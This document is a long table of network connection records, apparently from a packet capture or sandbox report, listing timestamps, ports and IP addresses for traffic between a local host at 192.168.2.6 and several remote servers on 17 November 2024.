Nov 17, 2024 01:38:40.607183933 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.608203888 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.608211040 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.608222961 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.608227015 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.638720036 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.638773918 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.668102026 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.668121099 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.668198109 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.669503927 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:40.669513941 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:40.669619083 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:40.669898033 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:40.669913054 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:40.682634115 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.682647943 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.694576025 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.694588900 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.694658041 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.694927931 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.694938898 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.696014881 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.696047068 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.697181940 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.699450016 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.699464083 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.699568033 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.700608015 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.700615883 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.700630903 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.700653076 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.700861931 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.700985909 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.701013088 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.701019049 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.701031923 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.139950991 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:41.141196012 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:41.413600922 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.429877996 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.434422016 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.444617987 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.449476957 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.474384069 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.550318956 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.550333023 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.553853989 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.571532011 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.571538925 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.572099924 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.572105885 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.572673082 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.572702885 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.573319912 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.573333025 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.573576927 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.573584080 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.574094057 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.574099064 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.574551105 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.574558020 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.575078964 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.575084925 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.575335979 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.575346947 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.575731993 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.575736046 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.576800108 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.576806068 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.578391075 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.578443050 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.578469038 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.578476906 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.578520060 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.580965042 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.619340897 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.619777918 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.620356083 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.620371103 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.700696945 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.700793982 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.700853109 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.700906038 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.700937033 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.700982094 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.700993061 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701006889 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701080084 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.701127052 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701363087 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701425076 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701483965 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.701513052 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.701551914 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.704483032 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.704648018 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.704699039 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.762151957 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.762151957 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.762167931 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.762182951 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.763875008 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.763897896 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.763910055 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.763916969 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.768121004 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.768126011 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.768135071 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.768138885 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.771991014 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.772010088 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.772022963 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.772030115 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.772625923 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.772643089 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.772658110 CET	49891	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:41.772664070 CET	443	49891	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:41.831355095 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.831419945 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.882437944 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.882560968 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.882611036 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.882621050 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.882704973 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.882859945 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.882867098 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.889713049 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.889780045 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.889786959 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.899276972 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.899343014 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.899349928 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.976953983 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:41.976963043 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:41.977022886 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:41.977183104 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:41.977195024 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:41.998264074 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.998332024 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.998342037 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.998461008 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:41.998509884 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:41.998516083 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.004319906 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.004373074 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.004379034 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.006052971 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.006103039 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.006108999 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.009169102 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.009198904 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.009365082 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.009371042 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.009422064 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.009474993 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.009888887 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.009898901 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.009954929 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.010175943 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:42.010443926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:42.011245966 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.011256933 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.011307001 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.011430025 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.011440992 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.011461973 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.011504889 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.011598110 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.011612892 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.012623072 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.012633085 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.013122082 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.013134003 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.013180971 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.013298035 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.013302088 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.015199900 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.015280008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.015328884 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:42.015420914 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.015477896 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.015485048 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.018858910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:42.018932104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:42.023672104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.023894072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.023905039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.023915052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:42.063016891 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.069256067 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.115961075 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.116079092 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.116116047 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.116123915 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.116163969 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.116955042 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.121814013 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.121874094 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.121882915 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.123533964 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.123589039 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.123595953 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.134413958 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.134465933 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.134473085 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.186868906 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.186923027 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.186938047 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.250742912 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413045883 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413160086 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413197041 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413201094 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413239956 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413276911 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413285971 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413341999 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413374901 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413383007 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413495064 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413531065 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413537025 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413551092 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413579941 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413589954 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413666964 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413697004 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413700104 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413711071 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413754940 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413768053 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413829088 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413863897 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413877010 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413885117 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413916111 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.413923979 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413964033 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.413997889 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.414005041 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.421638966 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.421691895 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.421704054 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.463735104 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.468544006 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.469611883 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.469654083 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.469671965 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.475260973 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.475287914 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.475327015 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.475342035 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.475382090 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.476025105 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.485605955 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.485668898 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.485685110 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.539196014 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.539248943 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.539253950 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.539274931 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.539324999 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.589577913 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.589643955 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.589673042 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.589715958 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.589739084 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.589847088 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.593027115 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.593091011 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.595614910 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.595624924 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.603471994 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.604083061 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.604109049 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.604859114 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.607461929 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.607470036 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.638940096 CET	56702	53	192.168.2.6	162.159.36.2
Nov 17, 2024 01:38:42.643830061 CET	53	56702	162.159.36.2	192.168.2.6
Nov 17, 2024 01:38:42.644009113 CET	56702	53	192.168.2.6	162.159.36.2
Nov 17, 2024 01:38:42.644224882 CET	56702	53	192.168.2.6	162.159.36.2
Nov 17, 2024 01:38:42.649060011 CET	53	56702	162.159.36.2	192.168.2.6
Nov 17, 2024 01:38:42.657083988 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.657371044 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.657380104 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.707151890 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.707175970 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.707200050 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.707221985 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.707231998 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.707261086 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.710371017 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.710421085 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.710427999 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.721065998 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.721215010 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.721225977 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.722682953 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.722877026 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.722884893 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.736720085 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.737065077 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.738523006 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.738523006 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.738533020 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.738540888 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.738899946 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.738914967 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.739397049 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.739401102 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.739938021 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.740824938 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.740824938 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.740843058 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.740853071 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.752648115 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.753540039 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.753568888 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.753585100 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.753834963 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.753839016 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.754157066 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.754170895 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.754399061 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.754403114 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.774736881 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.774894953 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.774903059 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.824933052 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.824960947 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.825020075 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.825040102 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.825042963 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.825052023 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.825093985 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.825093985 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.825409889 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828162909 CET	443	49889	142.250.185.65	192.168.2.6
